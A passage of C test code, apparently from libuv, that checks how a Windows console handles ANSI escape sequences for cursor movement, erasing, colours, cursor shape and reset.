ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_previous_line) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* cursor previous line one times if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sF", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y - 1 == cursor_pos.Y); ASSERT(1 == cursor_pos.X); /* cursor previous line nth times */ cursor_pos_old = cursor_pos; snprintf(buffer, sizeof(buffer), "%s%dF", CSI, si.height / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos_old.Y - si.height / 4 == cursor_pos.Y); ASSERT(1 == cursor_pos.X); /* cursor previous line from top of screen does nothing */ cursor_pos_old.X = 1; cursor_pos_old.Y = 1; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%sD", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(1 == cursor_pos.Y); ASSERT(1 == cursor_pos.X); ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_horizontal_move_absolute) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* Move to beginning of line if omitted argument */ snprintf(buffer, sizeof(buffer), "%sG", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(1 == cursor_pos.X); ASSERT(cursor_pos_old.Y == cursor_pos.Y); /* Move cursor to nth character */ snprintf(buffer, sizeof(buffer), "%s%dG", CSI, si.width / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(si.width / 4 == cursor_pos.X); ASSERT(cursor_pos_old.Y == cursor_pos.Y); /* Moving out of screen will fit within screen */ snprintf(buffer, sizeof(buffer), "%s%dG", CSI, si.width + 1); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(si.width == cursor_pos.X); ASSERT(cursor_pos_old.Y == cursor_pos.Y); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_cursor_move_absolute) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos.X = si.width / 2; cursor_pos.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos); /* Move the cursor to home if omitted arguments */ snprintf(buffer, sizeof(buffer), "%sH", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(1 == cursor_pos.X); ASSERT(1 == cursor_pos.Y); /* Move the cursor to the middle of the screen */ snprintf( buffer, sizeof(buffer), "%s%d;%df", CSI, si.height / 2, si.width / 2); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(si.width / 2 == cursor_pos.X); ASSERT(si.height / 2 == cursor_pos.Y); /* Moving out of screen will fit within screen */ snprintf( buffer, sizeof(buffer), "%s%d;%df", CSI, si.height / 2, si.width + 1); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(si.width == cursor_pos.X); ASSERT(si.height / 2 == cursor_pos.Y); snprintf( buffer, sizeof(buffer), "%s%d;%df", CSI, si.height + 1, si.width / 2); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(si.width / 2 == cursor_pos.X); ASSERT(si.height == cursor_pos.Y); ASSERT(!is_scrolling(&tty_out, si)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_hide_show_cursor) { uv_tty_t tty_out; uv_loop_t* loop; char buffer[1024]; BOOL saved_cursor_visibility; loop = uv_default_loop(); initialize_tty(&tty_out); saved_cursor_visibility = get_cursor_visibility(&tty_out); /* Hide the cursor */ set_cursor_visibility(&tty_out, TRUE); snprintf(buffer, sizeof(buffer), "%s?25l", CSI); write_console(&tty_out, buffer); ASSERT(!get_cursor_visibility(&tty_out)); /* Show the cursor */ set_cursor_visibility(&tty_out, FALSE); snprintf(buffer, sizeof(buffer), "%s?25h", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_visibility(&tty_out)); set_cursor_visibility(&tty_out, saved_cursor_visibility); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_erase) { int dir; uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos; char buffer[1024]; struct captured_screen actual = {0}, expect = {0}; loop = uv_default_loop(); initialize_tty(&tty_out); /* Erase to below if omitted argument */ dir = 0; setup_screen(&tty_out); capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; make_expect_screen_erase(&expect, cursor_pos, dir, TRUE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%sJ", CSI); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Erase to below(dir = 0) */ setup_screen(&tty_out); capture_screen(&tty_out, &expect); make_expect_screen_erase(&expect, cursor_pos, dir, TRUE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%dJ", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Erase to above */ dir = 1; setup_screen(&tty_out); capture_screen(&tty_out, &expect); make_expect_screen_erase(&expect, cursor_pos, dir, TRUE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%dJ", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Erase All */ dir = 2; setup_screen(&tty_out); capture_screen(&tty_out, &expect); make_expect_screen_erase(&expect, cursor_pos, dir, TRUE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%dJ", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_erase_line) { int dir; uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos; char buffer[1024]; struct captured_screen actual = {0}, expect = {0}; loop = uv_default_loop(); initialize_tty(&tty_out); /* Erase to right if omitted arguments */ dir = 0; setup_screen(&tty_out); capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; make_expect_screen_erase(&expect, cursor_pos, dir, FALSE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%sK", CSI); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Erase to right(dir = 0) */ setup_screen(&tty_out); capture_screen(&tty_out, &expect); make_expect_screen_erase(&expect, cursor_pos, dir, FALSE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%dK", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Erase to Left */ dir = 1; setup_screen(&tty_out); capture_screen(&tty_out, &expect); make_expect_screen_erase(&expect, cursor_pos, dir, FALSE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%dK", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Erase All */ dir = 2; setup_screen(&tty_out); capture_screen(&tty_out, &expect); make_expect_screen_erase(&expect, cursor_pos, dir, FALSE); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%dK", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_set_cursor_shape) { uv_tty_t tty_out; uv_loop_t* loop; DWORD saved_cursor_size; char buffer[1024]; loop = uv_default_loop(); initialize_tty(&tty_out); saved_cursor_size = get_cursor_size(&tty_out); /* cursor size large if omitted arguments */ set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_LARGE); /* cursor size large */ set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s1 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_LARGE); set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s2 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_LARGE); /* cursor size small */ set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s3 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_SMALL); set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s6 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_SMALL); /* Nothing occurs with arguments outside valid range */ set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s7 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_MIDDLE); /* restore cursor size if arguments is zero */ snprintf(buffer, sizeof(buffer), "%s0 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == saved_cursor_size); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_set_style) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos; char buffer[1024]; struct captured_screen actual = {0}, expect = {0}; WORD fg, bg; WORD fg_attrs[9][2] = {{F_BLACK, FOREGROUND_BLACK}, {F_RED, FOREGROUND_RED}, {F_GREEN, FOREGROUND_GREEN}, {F_YELLOW, FOREGROUND_YELLOW}, {F_BLUE, FOREGROUND_BLUE}, {F_MAGENTA, FOREGROUND_MAGENTA}, {F_CYAN, FOREGROUND_CYAN}, {F_WHITE, FOREGROUND_WHITE}, {F_DEFAULT, 0}}; WORD bg_attrs[9][2] = {{B_DEFAULT, 0}, {B_BLACK, BACKGROUND_BLACK}, {B_RED, BACKGROUND_RED}, {B_GREEN, BACKGROUND_GREEN}, {B_YELLOW, BACKGROUND_YELLOW}, {B_BLUE, BACKGROUND_BLUE}, {B_MAGENTA, BACKGROUND_MAGENTA}, {B_CYAN, BACKGROUND_CYAN}, {B_WHITE, BACKGROUND_WHITE}}; WORD attr; int i, length; loop = uv_default_loop(); initialize_tty(&tty_out); capture_screen(&tty_out, &expect); fg_attrs[8][1] = expect.si.default_attr & FOREGROUND_WHITE; bg_attrs[0][1] = expect.si.default_attr & BACKGROUND_WHITE; /* Set foreground color */ length = ARRAY_SIZE(fg_attrs); for (i = 0; i < length; i++) { capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; attr = (expect.si.default_attr & ~FOREGROUND_WHITE) | fg_attrs[i][1]; make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); set_cursor_position(&tty_out, cursor_pos); snprintf( buffer, sizeof(buffer), "%s%dm%s%sm", CSI, fg_attrs[i][0], HELLO, CSI); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); } /* Set background color */ length = ARRAY_SIZE(bg_attrs); for (i = 0; i < length; i++) { capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; attr = (expect.si.default_attr & ~BACKGROUND_WHITE) | bg_attrs[i][1]; make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); set_cursor_position(&tty_out, cursor_pos); snprintf( buffer, sizeof(buffer), "%s%dm%s%sm", CSI, bg_attrs[i][0], HELLO, CSI); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); } /* Set foregroud and background color */ ASSERT(ARRAY_SIZE(fg_attrs) == ARRAY_SIZE(bg_attrs)); length = ARRAY_SIZE(bg_attrs); for (i = 0; i < length; i++) { capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; attr = expect.si.default_attr & ~FOREGROUND_WHITE & ~BACKGROUND_WHITE; attr |= fg_attrs[i][1] | bg_attrs[i][1]; make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%d;%dm%s%sm", CSI, bg_attrs[i][0], fg_attrs[i][0], HELLO, CSI); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); } /* Set foreground bright on */ capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; set_cursor_position(&tty_out, cursor_pos); attr = expect.si.default_attr; attr |= FOREGROUND_INTENSITY; make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); snprintf(buffer, sizeof(buffer), "%s%dm%s%s%dm%s%dm%s%s%dm", CSI, F_INTENSITY, HELLO, CSI, F_INTENSITY_OFF1, CSI, F_INTENSITY, HELLO, CSI, F_INTENSITY_OFF2); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Set background bright on */ capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; set_cursor_position(&tty_out, cursor_pos); attr = expect.si.default_attr; attr |= BACKGROUND_INTENSITY; make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); snprintf(buffer, sizeof(buffer), "%s%dm%s%s%dm", CSI, B_INTENSITY, HELLO, CSI, B_INTENSITY_OFF); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Inverse */ capture_screen(&tty_out, &expect); cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; set_cursor_position(&tty_out, cursor_pos); attr = expect.si.default_attr; fg = attr & FOREGROUND_WHITE; bg = attr & BACKGROUND_WHITE; attr &= (~FOREGROUND_WHITE & ~BACKGROUND_WHITE); attr |= COMMON_LVB_REVERSE_VIDEO; attr |= fg << 4; attr |= bg >> 4; make_expect_screen_write(&expect, cursor_pos, HELLO); make_expect_screen_set_attr(&expect, cursor_pos, strlen(HELLO), attr); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s%dm%s%s%dm%s", CSI, INVERSE, HELLO, CSI, INVERSE_OFF, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_save_restore_cursor_position) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; char buffer[1024]; struct screen_info si; loop = uv_default_loop(); initialize_tty(&tty_out); get_screen_info(&tty_out, &si); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* save the cursor position */ snprintf(buffer, sizeof(buffer), "%ss", CSI); write_console(&tty_out, buffer); cursor_pos.X = si.width / 4; cursor_pos.Y = si.height / 4; set_cursor_position(&tty_out, cursor_pos); /* restore the cursor postion */ snprintf(buffer, sizeof(buffer), "%su", CSI); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos.X == cursor_pos_old.X); ASSERT(cursor_pos.Y == cursor_pos_old.Y); cursor_pos_old.X = si.width / 2; cursor_pos_old.Y = si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); /* save the cursor position */ snprintf(buffer, sizeof(buffer), "%s7", ESC); write_console(&tty_out, buffer); cursor_pos.X = si.width / 4; cursor_pos.Y = si.height / 4; set_cursor_position(&tty_out, cursor_pos); /* restore the cursor postion */ snprintf(buffer, sizeof(buffer), "%s8", ESC); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos.X == cursor_pos_old.X); ASSERT(cursor_pos.Y == cursor_pos_old.Y); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_full_reset) { uv_tty_t tty_out; uv_loop_t* loop; char buffer[1024]; struct captured_screen actual = {0}, expect = {0}; COORD cursor_pos; DWORD saved_cursor_size; BOOL saved_cursor_visibility; loop = uv_default_loop(); initialize_tty(&tty_out); capture_screen(&tty_out, &expect); setup_screen(&tty_out); cursor_pos.X = expect.si.width; cursor_pos.Y = expect.si.height; set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s%d;%dm%s", CSI, F_CYAN, B_YELLOW, HELLO); saved_cursor_size = get_cursor_size(&tty_out); set_cursor_size(&tty_out, saved_cursor_size == CURSOR_SIZE_LARGE ? CURSOR_SIZE_SMALL : CURSOR_SIZE_LARGE); saved_cursor_visibility = get_cursor_visibility(&tty_out); set_cursor_visibility(&tty_out, saved_cursor_visibility ? FALSE : TRUE); write_console(&tty_out, buffer); snprintf(buffer, sizeof(buffer), "%sc", ESC); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); ASSERT(get_cursor_size(&tty_out) == saved_cursor_size); ASSERT(get_cursor_visibility(&tty_out) == saved_cursor_visibility); ASSERT(actual.si.csbi.srWindow.Top == 0); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } TEST_IMPL(tty_escape_sequence_processing) { uv_tty_t tty_out; uv_loop_t* loop; COORD cursor_pos, cursor_pos_old; DWORD saved_cursor_size; char buffer[1024]; struct captured_screen actual = {0}, expect = {0}; int dir; loop = uv_default_loop(); initialize_tty(&tty_out); /* CSI + finaly byte does not output anything */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s@%s%s~%s", CSI, HELLO, CSI, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* CSI(C1) + finaly byte does not output anything */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "\xC2\x9B@%s\xC2\x9B~%s", HELLO, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* CSI + intermediate byte + finaly byte does not output anything */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s @%s%s/~%s", CSI, HELLO, CSI, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* CSI + parameter byte + finaly byte does not output anything */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); snprintf(buffer, sizeof(buffer), "%s0@%s%s>~%s%s?~%s", CSI, HELLO, CSI, HELLO, CSI, HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* ESC Single-char control does not output anyghing */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s @%s%s/~%s", CSI, HELLO, CSI, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Nothing is output from ESC + ^, _, P, ] to BEL or ESC \ */ /* Operaging System Command */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s]0;%s%s%s", ESC, HELLO, BEL, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Device Control Sequence */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%sP$m%s%s", ESC, ST, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Privacy Message */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s^\"%s\\\"%s\"%s%s", ESC, HELLO, HELLO, ST, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Application Program Command */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s_\"%s%s%s\"%s%s", ESC, HELLO, ST, HELLO, BEL, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Ignore double escape */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); cursor_pos.X += strlen(HELLO); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s%s@%s%s%s~%s", ESC, CSI, HELLO, ESC, CSI, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Ignored if argument overflow */ set_cursor_to_home(&tty_out); snprintf(buffer, sizeof(buffer), "%s1;%dH", CSI, UINT16_MAX + 1); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos.X == 1); ASSERT(cursor_pos.Y == 1); /* Too many argument are ignored */ cursor_pos.X = 1; cursor_pos.Y = 1; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s%d;%d;%d;%d;%dm%s%sm", CSI, F_RED, F_INTENSITY, INVERSE, B_CYAN, B_INTENSITY_OFF, HELLO, CSI); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* In the case of DECSCUSR, the others are ignored */ set_cursor_to_home(&tty_out); snprintf(buffer, sizeof(buffer), "%s%d;%d H", CSI, expect.si.height / 2, expect.si.width / 2); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos.X == 1); ASSERT(cursor_pos.Y == 1); /* Invalid sequence are ignored */ saved_cursor_size = get_cursor_size(&tty_out); set_cursor_size(&tty_out, CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s 1q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_MIDDLE); snprintf(buffer, sizeof(buffer), "%s 1 q", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_size(&tty_out) == CURSOR_SIZE_MIDDLE); set_cursor_size(&tty_out, saved_cursor_size); /* #1874 2. */ snprintf(buffer, sizeof(buffer), "%s??25l", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_visibility(&tty_out)); snprintf(buffer, sizeof(buffer), "%s25?l", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_visibility(&tty_out)); cursor_pos_old.X = expect.si.width / 2; cursor_pos_old.Y = expect.si.height / 2; set_cursor_position(&tty_out, cursor_pos_old); snprintf(buffer, sizeof(buffer), "%s??%d;%df", CSI, expect.si.height / 4, expect.si.width / 4); write_console(&tty_out, buffer); get_cursor_position(&tty_out, &cursor_pos); ASSERT(cursor_pos.X = cursor_pos_old.X); ASSERT(cursor_pos.Y = cursor_pos_old.Y); set_cursor_to_home(&tty_out); /* CSI 25 l does nothing (#1874 4.) */ snprintf(buffer, sizeof(buffer), "%s25l", CSI); write_console(&tty_out, buffer); ASSERT(get_cursor_visibility(&tty_out)); /* Unsupported sequences are ignored(#1874 5.) */ dir = 2; setup_screen(&tty_out); capture_screen(&tty_out, &expect); set_cursor_position(&tty_out, cursor_pos); snprintf(buffer, sizeof(buffer), "%s?%dJ", CSI, dir); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); /* Finaly byte immedately after CSI [ are also output(#1874 1.) */ cursor_pos.X = expect.si.width / 2; cursor_pos.Y = expect.si.height / 2; set_cursor_position(&tty_out, cursor_pos); capture_screen(&tty_out, &expect); make_expect_screen_write(&expect, cursor_pos, HELLO); snprintf(buffer, sizeof(buffer), "%s[%s", CSI, HELLO); write_console(&tty_out, buffer); capture_screen(&tty_out, &actual); ASSERT(compare_screen(&tty_out, &actual, &expect)); terminate_tty(&tty_out); uv_run(loop, UV_RUN_DEFAULT); MAKE_VALGRIND_HAPPY(); return 0; } #else typedef int file_has_no_tests; /* ISO C forbids an empty translation unit. */ #endif /* ifdef _WIN32 */
the_stack_data/858418.c
